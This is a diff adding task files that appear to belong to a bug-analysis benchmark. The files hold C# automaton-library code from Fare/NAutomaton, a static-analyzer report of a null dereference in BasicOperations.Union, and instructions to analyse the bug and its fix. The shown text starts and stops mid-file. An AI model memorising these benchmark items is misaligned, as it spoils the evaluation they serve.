+                b.ClearHashCode();
+                b.CheckMinimizeAlways();
+                return b;
+            }
+        }
+
+        public static Automaton Optional(Automaton a)
+        {
+            a = a.CloneExpandedIfRequired();
+            var s = new State();
+            s.AddEpsilon(a.InitialState);
+            s.Accept = true;
+            a.InitialState = s;
+            a.IsDeterministic = false;
+            a.ClearHashCode();
+            a.CheckMinimizeAlways();
+            return a;
+        }
+
+        public static Automaton Repeat(Automaton a)
+        {
+            a = a.CloneExpanded();
+            var s = new State();
+            s.Accept = true;
+            s.AddEpsilon(a.InitialState);
+            foreach (State p in a.AcceptStates)
+            {
+                p.AddEpsilon(s);
+            }
+            a.InitialState = s;
+            a.IsDeterministic = false;
+            a.ClearHashCode();
+            a.CheckMinimizeAlways();
+            return a;
+        }
+
+        public static Automaton Repeat(Automaton a, int min)
+        {
+            if (min == 0)
+            {
+                return Repeat(a);
+            }
+            IList<Automaton> @as = new List<Automaton>();
+            while (min-- > 0)
+            {
+                @as.Add(a);
+            }
+            @as.Add(Repeat(a));
+            return Concatenate(@as);
+        }
+
+        public static Automaton Repeat(Automaton a, int min, int max)
+        {
+            if (min > max)
+            {
+                return BasicAutomata.MakeEmpty();
+            }
+            max -= min;
+            a.ExpandSingleton();
+            Automaton b;
+            if (min == 0)
+            {
+                b = BasicAutomata.MakeEmptyString();
+            }
+            else if (min == 1)
+            {
+                b = a.Clone();
+            }
+            else
+            {
+                IList<Automaton> @as = new List<Automaton>();
+                while (min-- > 0)
+                {
+                    @as.Add(a);
+                }
+                b = Concatenate(@as);
+            }
+            if (max > 0)
+            {
+                Automaton d = a.Clone();
+                while (--max > 0)
+                {
+                    Automaton c = a.Clone();
+                    foreach (State p in c.AcceptStates)
+                    {
+                        p.AddEpsilon(d.InitialState);
+                    }
+                    d = c;
+                }
+                foreach (State p in b.AcceptStates)
+                {
+                    p.AddEpsilon(d.InitialState);
+                }
+                b.IsDeterministic = false;
+                b.ClearHashCode();
+                b.CheckMinimizeAlways();
+            }
+            return b;
+        }
+
+        public static Automaton Complement(Automaton a)
+        {
+            a = a.CloneExpandedIfRequired();
+            a.Determinize();
+            a.Totalize();
+            foreach (State p in a.States)
+            {
+                p.Accept = !p.Accept;
+            }
+            a.RemoveDeadTransitions();
+            return a;
+        }
+
+        public static Automaton Minus(Automaton a1, Automaton a2)
+        {
+            if (a1.IsEmpty || a1 == a2)
+            {
+                return BasicAutomata.MakeEmpty();
+            }
+            if (a2.IsEmpty)
+            {
+                return a1.CloneIfRequired();
+            }
+            if (a1.IsSingleton)
+            {
+                if (a2.Run(a1.Singleton))
+                {
+                    return BasicAutomata.MakeEmpty();
+                }
+
+                return a1.CloneIfRequired();
+            }
+            return Intersection(a1, a2.Complement());
+        }
+
+        public static Automaton Intersection(Automaton a1, Automaton a2)
+        {
+            if (a1.IsSingleton)
+            {
+                if (a2.Run(a1.Singleton))
+                {
+                    return a1.CloneIfRequired();
+                }
+
+                return BasicAutomata.MakeEmpty();
+            }
+            if (a2.IsSingleton)
+            {
+                if (a1.Run(a2.Singleton))
+                {
+                    return a2.CloneIfRequired();
+                }
+
+                return BasicAutomata.MakeEmpty();
+            }
+            if (a1 == a2)
+            {
+                return a1.CloneIfRequired();
+            }
+            Transition[][] transitions1 = Automaton.GetSortedTransitions(a1.States);
+            Transition[][] transitions2 = Automaton.GetSortedTransitions(a2.States);
+            var c = new Automaton();
+            var worklist = new LinkedList<StatePair>();
+            var newstates = new Dictionary<StatePair, StatePair>();
+            var p = new StatePair(c.InitialState, a1.InitialState, a2.InitialState);
+            worklist.AddLast(p);
+            newstates.Add(p, p);
+            while (worklist.Count > 0)
+            {
+                p = worklist.RemoveAndReturnFirst();
+                p.S.Accept = p.S1.Accept && p.S2.Accept;
+                Transition[] t1 = transitions1[p.S1.Number];
+                Transition[] t2 = transitions2[p.S2.Number];
+                for (int n1 = 0, b2 = 0; n1 < t1.Length; n1++)
+                {
+                    while (b2 < t2.Length && t2[b2].Max < t1[n1].Min)
+                    {
+                        b2++;
+                    }
+                    for (int n2 = b2; n2 < t2.Length && t1[n1].Max >= t2[n2].Min; n2++)
+                    {
+                        if (t2[n2].Max >= t1[n1].Min)
+                        {
+                            var q = new StatePair(t1[n1].To, t2[n2].To);
+                            StatePair r = newstates[q];
+                            if (r == null)
+                            {
+                                q.S = new State();
+                                worklist.AddLast(q);
+                                newstates.Add(q, q);
+                                r = q;
+                            }
+                            char min = t1[n1].Min > t2[n2].Min ? t1[n1].Min : t2[n2].Min;
+                            char max = t1[n1].Max < t2[n2].Max ? t1[n1].Max : t2[n2].Max;
+                            p.S.Transitions.Add(new Transition(min, max, r.S));
+                        }
+                    }
+                }
+            }
+            c.IsDeterministic = a1.IsDeterministic && a2.IsDeterministic;
+            c.RemoveDeadTransitions();
+            c.CheckMinimizeAlways();
+            return c;
+        }
+
+        public static bool SubsetOf(Automaton a1, Automaton a2)
+        {
+            if (a1 == a2)
+            {
+                return true;
+            }
+            if (a1.IsSingleton)
+            {
+                if (a2.IsSingleton)
+                {
+                    return a1.Singleton.Equals(a2.Singleton);
+                }
+                return a2.Run(a1.Singleton);
+            }
+            a2.Determinize();
+            Transition[][] transitions1 = Automaton.GetSortedTransitions(a1.States);
+            Transition[][] transitions2 = Automaton.GetSortedTransitions(a2.States);
+            var worklist = new LinkedList<StatePair>();
+            var visited = new HashSet<StatePair>();
+            var p = new StatePair(a1.InitialState, a2.InitialState);
+            worklist.AddLast(p);
+            visited.Add(p);
+            while (worklist.Count > 0)
+            {
+                p = worklist.RemoveAndReturnFirst();
+                if (p.S1.Accept && !p.S2.Accept)
+                {
+                    return false;
+                }
+                Transition[] t1 = transitions1[p.S1.Number];
+                Transition[] t2 = transitions2[p.S2.Number];
+                for (int n1 = 0, b2 = 0; n1 < t1.Length; n1++)
+                {
+                    while (b2 < t2.Length && t2[b2].Max < t1[n1].Min)
+                    {
+                        b2++;
+                    }
+                    int min1 = t1[n1].Min, max1 = t1[n1].Max;
+                    for (int n2 = b2; n2 < t2.Length && t1[n1].Max >= t2[n2].Min; n2++)
+                    {
+                        if (t2[n2].Min > min1)
+                        {
+                            return false;
+                        }
+                        if (t2[n2].Max < Char.MaxValue)
+                        {
+                            min1 = t2[n2].Max + 1;
+                        }
+                        else
+                        {
+                            min1 = Char.MaxValue;
+                            max1 = Char.MinValue;
+                        }
+                        var q = new StatePair(t1[n1].To, t2[n2].To);
+                        if (!visited.Contains(q))
+                        {
+                            worklist.AddLast(q);
+                            visited.Add(q);
+                        }
+                    }
+                    if (min1 <= max1)
+                    {
+                        return false;
+                    }
+                }
+            }
+            return true;
+        }
+
+        public static Automaton Union(Automaton a1, Automaton a2)
+        {
+            if ((a1.IsSingleton && a2.IsSingleton && a1.Singleton.Equals(a2.Singleton)) || a1 == a2)
+            {
+                return a1.CloneIfRequired();
+            }
+            if (a1 == a2)
+            {
+                a1 = a1.CloneExpanded();
+                a2 = a2.CloneExpanded();
+            }
+            else
+            {
+                a1 = a1.CloneExpandedIfRequired();
+                a2 = a2.CloneExpandedIfRequired();
+            }
+            var s = new State();
+            s.AddEpsilon(a1.InitialState);
+            s.AddEpsilon(a2.InitialState);
+            a1.InitialState = s;
+            a1.IsDeterministic = false;
+            a1.ClearHashCode();
+            a1.CheckMinimizeAlways();
+            return a1;
+        }
+
+        public static Automaton Union(ICollection<Automaton> l)
+        {
+            var ids = new HashSet<int?>();
+            foreach (Automaton automaton in l)
+            {
+                ids.Add(RuntimeHelpers.GetHashCode(automaton));
+            }
+            bool hasAliases = ids.Count != l.Count;
+            var s = new State();
+            foreach (Automaton b in l)
+            {
+                if (b.IsEmpty)
+                {
+                    continue;
+                }
+                Automaton bb = b;
+                bb = hasAliases ? bb.CloneExpanded() : bb.CloneExpandedIfRequired();
+                s.AddEpsilon(bb.InitialState);
+            }
+            var a = new Automaton();
+            a.InitialState = s;
+            a.IsDeterministic = false;
+            a.ClearHashCode();
+            a.CheckMinimizeAlways();
+            return a;
+        }
+
+        public static void Determinize(Automaton a)
+        {
+            if (a.IsDeterministic || a.IsSingleton)
+            {
+                return;
+            }
+            var initialset = new HashSet<State>();
+            initialset.Add(a.InitialState);
+            Determinize(a, initialset);
+        }
+
+        public static void Determinize(Automaton a, HashSet<State> initialset)
+        {
+            char[] points = a.StartPoints;
+            // Subset construction.
+            IDictionary<HashSet<State>, HashSet<State>> sets = new Dictionary<HashSet<State>, HashSet<State>>();
+            var worklist = new LinkedList<HashSet<State>>();
+            IDictionary<HashSet<State>, State> newstate = new Dictionary<HashSet<State>, State>();
+            sets.Add(initialset, initialset);
+            worklist.AddLast(initialset);
+            a.InitialState = new State();
+            newstate.Add(initialset, a.InitialState);
+            while (worklist.Count > 0)
+            {
+                HashSet<State> s = worklist.RemoveAndReturnFirst();
+                State r = newstate[s];
+                foreach (State q in s)
+                {
+                    if (q.Accept)
+                    {
+                        r.Accept = true;
+                        break;
+                    }
+                }
+                for (int n = 0; n < points.Length; n++)
+                {
+                    var p = new HashSet<State>();
+                    foreach (State state in s)
+                    {
+                        foreach (Transition t in state.Transitions)
+                        {
+                            if (t.Min <= points[n] && points[n] <= t.Max)
+                            {
+                                p.Add(t.To);
+                            }
+                        }
+                    }
+                    if (!sets.ContainsKey(p))
+                    {
+                        sets.Add(p, p);
+                        worklist.AddLast(p);
+                        newstate.Add(p, new State());
+                    }
+                    State q = newstate[p];
+                    char min = points[n];
+                    char max;
+                    if (n + 1 < points.Length)
+                    {
+                        max = (char) (points[n + 1] - 1);
+                    }
+                    else
+                    {
+                        max = Char.MaxValue;
+                    }
+                    r.Transitions.Add(new Transition(min, max, q));
+                }
+            }
+            a.IsDeterministic = true;
+            a.RemoveDeadTransitions();
+        }
+
+        public static void AddEpsilons(Automaton a, ICollection<StatePair> pairs)
+        {
+            a.ExpandSingleton();
+            var forward = new Dictionary<State, HashSet<State>>();
+            var back = new Dictionary<State, HashSet<State>>();
+            foreach (StatePair p in pairs)
+            {
+                HashSet<State> to = forward[p.S1];
+                if (to == null)
+                {
+                    to = new HashSet<State>();
+                    forward.Add(p.S1, to);
+                }
+                to.Add(p.S2);
+                HashSet<State> from = back[p.S2];
+                if (from == null)
+                {
+                    from = new HashSet<State>();
+                    back.Add(p.S2, from);
+                }
+                from.Add(p.S1);
+            }
+
+            var worklist = new LinkedList<StatePair>(pairs);
+            var workset = new HashSet<StatePair>(pairs);
+            while (worklist.Count != 0)
+            {
+                StatePair p = worklist.RemoveAndReturnFirst();
+                workset.Remove(p);
+                HashSet<State> to = forward[p.S2];
+                HashSet<State> from = back[p.S1];
+                if (to != null)
+                {
+                    foreach (State s in to)
+                    {
+                        var pp = new StatePair(p.S1, s);
+                        if (!pairs.Contains(pp))
+                        {
+                            pairs.Add(pp);
+                            forward[p.S1].Add(s);
+                            back[s].Add(p.S1);
+                            worklist.AddLast(pp);
+                            workset.Add(pp);
+                            if (from != null)
+                            {
+                                foreach (State q in from)
+                                {
+                                    var qq = new StatePair(q, p.S1);
+                                    if (!workset.Contains(qq))
+                                    {
+                                        worklist.AddLast(qq);
+                                        workset.Add(qq);
+                                    }
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+            // Add transitions.
+            foreach (StatePair p in pairs)
+            {
+                p.S1.AddEpsilon(p.S2);
+            }
+            a.IsDeterministic = false;
+            a.ClearHashCode();
+            a.CheckMinimizeAlways();
+        }
+
+        public static bool IsEmptyString(Automaton a)
+        {
+            if (a.IsSingleton)
+            {
+                return a.Singleton.Length == 0;
+            }
+
+            return a.InitialState.Accept && a.InitialState.Transitions.Count == 0;
+        }
+
+        public static bool IsEmpty(Automaton a)
+        {
+            if (a.IsSingleton)
+            {
+                return false;
+            }
+            return !a.InitialState.Accept && a.InitialState.Transitions.Count == 0;
+        }
+
+        public static bool IsTotal(Automaton a)
+        {
+            if (a.IsSingleton)
+            {
+                return false;
+            }
+            if (a.InitialState.Accept && a.InitialState.Transitions.Count == 1)
+            {
+                // Original code (Java): Transition t = a.initial.transitions.iterator().next();
+                HashSet<Transition>.Enumerator enumerator = a.InitialState.Transitions.GetEnumerator();
+                enumerator.MoveNext();
+                Transition t = enumerator.Current;
+
+                return t.To == a.InitialState && t.Min == Char.MinValue && t.Max == Char.MaxValue;
+            }
+            return false;
+        }
+
+        public static string GetShortestExample(Automaton a, bool accepted)
+        {
+            if (a.IsSingleton)
+            {
+                if (accepted)
+                {
+                    return a.Singleton;
+                }
+
+                if (a.Singleton.Length > 0)
+                {
+                    return "";
+                }
+
+                return "\u0000";
+            }
+            return GetShortestExample(a.InitialState, accepted);
+        }
+
+        public static string GetShortestExample(State s, bool accepted)
+        {
+            IDictionary<State, string> path = new Dictionary<State, string>();
+            var queue = new LinkedList<State>();
+            path.Add(s, "");
+            queue.AddLast(s);
+            string best = null;
+            while (queue.Count != 0)
+            {
+                State q = queue.RemoveAndReturnFirst();
+                string p = path[q];
+                if (q.Accept == accepted)
+                {
+                    if (best == null || p.Length < best.Length || (p.Length == best.Length && p.CompareTo(best) < 0))
+                    {
+                        best = p;
+                    }
+                }
+                else
+                {
+                    foreach (Transition t in q.Transitions)
+                    {
+                        string tp = path[t.To];
+                        string np = p + t.Min;
+                        if (tp == null || (tp.Length == np.Length && np.CompareTo(tp) < 0))
+                        {
+                            if (tp == null)
+                            {
+                                queue.AddLast(t.To);
+                            }
+                            path.Add(t.To, np);
+                        }
+                    }
+                }
+            }
+            return best;
+        }
+
+        public static bool Run(Automaton a, string s)
+        {
+            if (a.IsSingleton)
+            {
+                return s.Equals(a.IsSingleton);
+            }
+            if (a.IsDeterministic)
+            {
+                State p = a.InitialState;
+                foreach (char t in s)
+                {
+                    State q = p.Step(t);
+                    if (q == null)
+                    {
+                        return false;
+                    }
+                    p = q;
+                }
+                return p.Accept;
+            }
+
+            HashSet<State> states = a.States;
+            Automaton.StateNumbers = states;
+            var pp = new LinkedList<State>();
+            var ppOther = new LinkedList<State>();
+            var bb = new BitArray(states.Count);
+            var bbOther = new BitArray(states.Count);
+            pp.AddLast(a.InitialState);
+            var dest = new List<State>();
+            bool accept = a.InitialState.Accept;
+
+            foreach (char c in s)
+            {
+                accept = false;
+                ppOther.Clear();
+                bbOther.SetAll(false);
+                foreach (State p in pp)
+                {
+                    dest.Clear();
+                    p.Step(c, dest);
+                    foreach (State q in dest)
+                    {
+                        if (q.Accept)
+                        {
+                            accept = true;
+                        }
+                        if (!bbOther.Get(q.Number))
+                        {
+                            bbOther.Set(q.Number, true);
+                            ppOther.AddLast(q);
+                        }
+                    }
+                }
+                LinkedList<State> tp = pp;
+                pp = ppOther;
+                ppOther = tp;
+                BitArray tb = bb;
+                bb = bbOther;
+                bbOther = tb;
+            }
+            return accept;
+        }
+    }
+}
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+`bb->NAutomaton.Automaton.singleton` could be null (from the call to `Automaton.CloneExpanded()` on line 449) and is dereferenced in call to `Automaton.get_InitialState()`.
+
+### Severity:
+ERROR
+
+### Procedure:
+Automaton BasicOperations.Union(ICollection`1<!0>)
+
+### File:
+Src/NAutomaton/BasicOperations.cs
+
+### Key:
+BasicOperations.cs|Union|NULLPTR_DEREFERENCE
+
+### Hash:
+a6803b933fe81f0e80022390dedc99ef
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0109/instruction.md b/inferredbugs-0109/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e7763695c9d2215df37bf3d85f5a41b061b5a9db
--- /dev/null
+++ b/inferredbugs-0109/instruction.md
@@ -0,0 +1,815 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Fare
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+/*
+ * dk.brics.automaton
+ * 
+ * Copyright (c) 2001-2011 Anders Moeller
+ * All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. The name of the author may not be used to endorse or promote products
+ *    derived from this software without specific prior written permission.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+ * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+ * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+ * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+ * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text;
+
+namespace NAutomaton
+{
+    public static class BasicOperations
+    {
+        public static Automaton Concatenate(Automaton a1, Automaton a2)
+        {
+            if (a1.IsSingleton && a2.IsSingleton)
+            {
+                return BasicAutomata.MakeString(a1.Singleton + a2.Singleton);
+            }
+            if (IsEmpty(a1) || IsEmpty(a2))
+            {
+                return BasicAutomata.MakeEmpty();
+            }
+            bool deterMinistic = a1.IsSingleton && a2.IsDeterministic;
+            if (a1 == a2)
+            {
+                a1 = a1.CloneExpanded();
+                a2 = a2.CloneExpanded();
+            }
+            else
+            {
+                a1 = a1.CloneExpandedIfRequired();
+                a2 = a2.CloneExpandedIfRequired();
+            }
+            foreach (State s in a1.AcceptStates)
+            {
+                s.Accept = false;
+                s.AddEpsilon(a2.InitialState);
+            }
+            a1.IsDeterministic = deterMinistic;
+            a1.ClearHashCode();
+            a1.CheckMinimizeAlways();
+            return a1;
+        }
+
+        public static Automaton Concatenate(IList<Automaton> l)
+        {
+            if (l.Count == 0)
+            {
+                return BasicAutomata.MakeEmptyString();
+            }
+            bool allSingleton = l.All(a => a.IsSingleton);
+            if (allSingleton)
+            {
+                var b = new StringBuilder();
+                foreach (Automaton a in l)
+                {
+                    b.Append(a.IsSingleton);
+                }
+                return BasicAutomata.MakeString(b.ToString());
+            }
+            else
+            {
+                if (l.Any(a => a.IsEmpty))
+                {
+                    return BasicAutomata.MakeEmpty();
+                }
+                var ids = new HashSet<int?>();
+                foreach (Automaton a in l)
+                {
+                    ids.Add(RuntimeHelpers.GetHashCode(a));
+                }
+                bool hasAliases = ids.Count != l.Count;
+                Automaton b = l[0];
+                b = hasAliases ? b.CloneExpanded() : b.CloneExpandedIfRequired();
+                HashSet<State> ac = b.AcceptStates;
+                bool first = true;
+                foreach (Automaton a in l)
+                {
+                    if (first)
+                    {
+                        first = false;
+                    }
+                    else
+                    {
+                        if (a.IsEmptyString)
+                        {
+                            continue;
+                        }
+                        Automaton aa = a;
+                        aa = hasAliases ? aa.CloneExpanded() : aa.CloneExpandedIfRequired();
+                        HashSet<State> ns = aa.AcceptStates;
+                        foreach (State s in ac)
+                        {
+                            s.Accept = false;
+                            s.AddEpsilon(aa.InitialState);
+                            if (s.Accept)
+                            {
+                                ns.Add(s);
+                            }
+                        }
+                        ac = ns;
+                    }
+                }
+                b.IsDeterministic = false;
+                b.ClearHashCode();
+                b.CheckMinimizeAlways();
+                return b;
+            }
+        }
+
+        public static Automaton Optional(Automaton a)
+        {
+            a = a.CloneExpandedIfRequired();
+            var s = new State();
+            s.AddEpsilon(a.InitialState);
+            s.Accept = true;
+            a.InitialState = s;
+            a.IsDeterministic = false;
+            a.ClearHashCode();
+            a.CheckMinimizeAlways();
+            return a;
+        }
+
+        public static Automaton Repeat(Automaton a)
+        {
+            a = a.CloneExpanded();
+            var s = new State();
+            s.Accept = true;
+            s.AddEpsilon(a.InitialState);
+            foreach (State p in a.AcceptStates)
+            {
+                p.AddEpsilon(s);
+            }
+            a.InitialState = s;
+            a.IsDeterministic = false;
+            a.ClearHashCode();
+            a.CheckMinimizeAlways();
+            return a;
+        }
+
+        public static Automaton Repeat(Automaton a, int min)
+        {
+            if (min == 0)
+            {
+                return Repeat(a);
+            }
+            IList<Automaton> @as = new List<Automaton>();
+            while (min-- > 0)
+            {
+                @as.Add(a);
+            }
+            @as.Add(Repeat(a));
+            return Concatenate(@as);
+        }
+
+        public static Automaton Repeat(Automaton a, int min, int max)
+        {
+            if (min > max)
+            {
+                return BasicAutomata.MakeEmpty();
+            }
+            max -= min;
+            a.ExpandSingleton();
+            Automaton b;
+            if (min == 0)
+            {
+                b = BasicAutomata.MakeEmptyString();
+            }
+            else if (min == 1)
+            {
+                b = a.Clone();
+            }
+            else
+            {
+                IList<Automaton> @as = new List<Automaton>();
+                while (min-- > 0)
+                {
+                    @as.Add(a);
+                }
+                b = Concatenate(@as);
+            }
+            if (max > 0)
+            {
+                Automaton d = a.Clone();
+                while (--max > 0)
+                {
+                    Automaton c = a.Clone();
+                    foreach (State p in c.AcceptStates)
+                    {
+                        p.AddEpsilon(d.InitialState);
+                    }
+                    d = c;
+                }
+                foreach (State p in b.AcceptStates)
+                {
+                    p.AddEpsilon(d.InitialState);
+                }
+                b.IsDeterministic = false;
+                b.ClearHashCode();
+                b.CheckMinimizeAlways();
+            }
+            return b;
+        }
+
+        public static Automaton Complement(Automaton a)
+        {
+            a = a.CloneExpandedIfRequired();
+            a.Determinize();
+            a.Totalize();
+            foreach (State p in a.States)
+            {
+                p.Accept = !p.Accept;
+            }
+            a.RemoveDeadTransitions();
+            return a;
+        }
+
+        public static Automaton Minus(Automaton a1, Automaton a2)
+        {
+            if (a1.IsEmpty || a1 == a2)
+            {
+                return BasicAutomata.MakeEmpty();
+            }
+            if (a2.IsEmpty)
+            {
+                return a1.CloneIfRequired();
+            }
+            if (a1.IsSingleton)
+            {
+                if (a2.Run(a1.Singleton))
+                {
+                    return BasicAutomata.MakeEmpty();
+                }
+
+                return a1.CloneIfRequired();
+            }
+            return Intersection(a1, a2.Complement());
+        }
+
+        public static Automaton Intersection(Automaton a1, Automaton a2)
+        {
+            if (a1.IsSingleton)
+            {
+                if (a2.Run(a1.Singleton))
+                {
+                    return a1.CloneIfRequired();
+                }
+
+                return BasicAutomata.MakeEmpty();
+            }
+            if (a2.IsSingleton)
+            {
+                if (a1.Run(a2.Singleton))
+                {
+                    return a2.CloneIfRequired();
+                }
+
+                return BasicAutomata.MakeEmpty();
+            }
+            if (a1 == a2)
+            {
+                return a1.CloneIfRequired();
+            }
+            Transition[][] transitions1 = Automaton.GetSortedTransitions(a1.States);
+            Transition[][] transitions2 = Automaton.GetSortedTransitions(a2.States);
+            var c = new Automaton();
+            var worklist = new LinkedList<StatePair>();
+            var newstates = new Dictionary<StatePair, StatePair>();
+            var p = new StatePair(c.InitialState, a1.InitialState, a2.InitialState);
+            worklist.AddLast(p);
+            newstates.Add(p, p);
+            while (worklist.Count > 0)
+            {
+                p = worklist.RemoveAndReturnFirst();
+                p.S.Accept = p.S1.Accept && p.S2.Accept;
+                Transition[] t1 = transitions1[p.S1.Number];
+                Transition[] t2 = transitions2[p.S2.Number];
+                for (int n1 = 0, b2 = 0; n1 < t1.Length; n1++)
+                {
+                    while (b2 < t2.Length && t2[b2].Max < t1[n1].Min)
+                    {
+                        b2++;
+                    }
+                    for (int n2 = b2; n2 < t2.Length && t1[n1].Max >= t2[n2].Min; n2++)
+                    {
+                        if (t2[n2].Max >= t1[n1].Min)
+                        {
+                            var q = new StatePair(t1[n1].To, t2[n2].To);
+                            StatePair r = newstates[q];
+                            if (r == null)
+                            {
+                                q.S = new State();
+                                worklist.AddLast(q);
+                                newstates.Add(q, q);
+                                r = q;
+                            }
+                            char min = t1[n1].Min > t2[n2].Min ? t1[n1].Min : t2[n2].Min;
+                            char max = t1[n1].Max < t2[n2].Max ? t1[n1].Max : t2[n2].Max;
+                            p.S.Transitions.Add(new Transition(min, max, r.S));
+                        }
+                    }
+                }
+            }
+            c.IsDeterministic = a1.IsDeterministic && a2.IsDeterministic;
+            c.RemoveDeadTransitions();
+            c.CheckMinimizeAlways();
+            return c;
+        }
+
+        public static bool SubsetOf(Automaton a1, Automaton a2)
+        {
+            if (a1 == a2)
+            {
+                return true;
+            }
+            if (a1.IsSingleton)
+            {
+                if (a2.IsSingleton)
+                {
+                    return a1.Singleton.Equals(a2.Singleton);
+                }
+                return a2.Run(a1.Singleton);
+            }
+            a2.Determinize();
+            Transition[][] transitions1 = Automaton.GetSortedTransitions(a1.States);
+            Transition[][] transitions2 = Automaton.GetSortedTransitions(a2.States);
+            var worklist = new LinkedList<StatePair>();
+            var visited = new HashSet<StatePair>();
+            var p = new StatePair(a1.InitialState, a2.InitialState);
+            worklist.AddLast(p);
+            visited.Add(p);
+            while (worklist.Count > 0)
+            {
+                p = worklist.RemoveAndReturnFirst();
+                if (p.S1.Accept && !p.S2.Accept)
+                {
+                    return false;
+                }
+                Transition[] t1 = transitions1[p.S1.Number];
+                Transition[] t2 = transitions2[p.S2.Number];
+                for (int n1 = 0, b2 = 0; n1 < t1.Length; n1++)
+                {
+                    while (b2 < t2.Length && t2[b2].Max < t1[n1].Min)
+                    {
+                        b2++;
+                    }
+                    int min1 = t1[n1].Min, max1 = t1[n1].Max;
+                    for (int n2 = b2; n2 < t2.Length && t1[n1].Max >= t2[n2].Min; n2++)
+                    {
+                        if (t2[n2].Min > min1)
+                        {
+                            return false;
+                        }
+                        if (t2[n2].Max < Char.MaxValue)
+                        {
+                            min1 = t2[n2].Max + 1;
+                        }
+                        else
+                        {
+                            min1 = Char.MaxValue;
+                            max1 = Char.MinValue;
+                        }
+                        var q = new StatePair(t1[n1].To, t2[n2].To);
+                        if (!visited.Contains(q))
+                        {
+                            worklist.AddLast(q);
+                            visited.Add(q);
+                        }
+                    }
+                    if (min1 <= max1)
+                    {
+                        return false;
+                    }
+                }
+            }
+            return true;
+        }
+
+        public static Automaton Union(Automaton a1, Automaton a2)
+        {
+            if ((a1.IsSingleton && a2.IsSingleton && a1.Singleton.Equals(a2.Singleton)) || a1 == a2)
+            {
+                return a1.CloneIfRequired();
+            }
+            if (a1 == a2)
+            {
+                a1 = a1.CloneExpanded();
+                a2 = a2.CloneExpanded();
+            }
+            else
+            {
+                a1 = a1.CloneExpandedIfRequired();
+                a2 = a2.CloneExpandedIfRequired();
+            }
+            var s = new State();
+            s.AddEpsilon(a1.InitialState);
+            s.AddEpsilon(a2.InitialState);
+            a1.InitialState = s;
+            a1.IsDeterministic = false;
+            a1.ClearHashCode();
+            a1.CheckMinimizeAlways();
+            return a1;
+        }
+
+        public static Automaton Union(ICollection<Automaton> l)
+        {
+            var ids = new HashSet<int?>();
+            foreach (Automaton automaton in l)
+            {
+                ids.Add(RuntimeHelpers.GetHashCode(automaton));
+            }
+            bool hasAliases = ids.Count != l.Count;
+            var s = new State();
+            foreach (Automaton b in l)
+            {
+                if (b.IsEmpty)
+                {
+                    continue;
+                }
+                Automaton bb = b;
+                bb = hasAliases ? bb.CloneExpanded() : bb.CloneExpandedIfRequired();
+                s.AddEpsilon(bb.InitialState);
+            }
+            var a = new Automaton();
+            a.InitialState = s;
+            a.IsDeterministic = false;
+            a.ClearHashCode();
+            a.CheckMinimizeAlways();
+            return a;
+        }
+
+        public static void Determinize(Automaton a)
+        {
+            if (a.IsDeterministic || a.IsSingleton)
+            {
+                return;
+            }
+            var initialset = new HashSet<State>();
+            initialset.Add(a.InitialState);
+            Determinize(a, initialset);
+        }
+
+        public static void Determinize(Automaton a, HashSet<State> initialset)
+        {
+            char[] points = a.StartPoints;
+            // Subset construction.
+            IDictionary<HashSet<State>, HashSet<State>> sets = new Dictionary<HashSet<State>, HashSet<State>>();
+            var worklist = new LinkedList<HashSet<State>>();
+            IDictionary<HashSet<State>, State> newstate = new Dictionary<HashSet<State>, State>();
+            sets.Add(initialset, initialset);
+            worklist.AddLast(initialset);
+            a.InitialState = new State();
+            newstate.Add(initialset, a.InitialState);
+            while (worklist.Count > 0)
+            {
+                HashSet<State> s = worklist.RemoveAndReturnFirst();
+                State r = newstate[s];
+                foreach (State q in s)
+                {
+                    if (q.Accept)
+                    {
+                        r.Accept = true;
+                        break;
+                    }
+                }
+                for (int n = 0; n < points.Length; n++)
+                {
+                    var p = new HashSet<State>();
+                    foreach (State state in s)
+                    {
+                        foreach (Transition t in state.Transitions)
+                        {
+                            if (t.Min <= points[n] && points[n] <= t.Max)
+                            {
+                                p.Add(t.To);
+                            }
+                        }
+                    }
+                    if (!sets.ContainsKey(p))
+                    {
+                        sets.Add(p, p);
+                        worklist.AddLast(p);
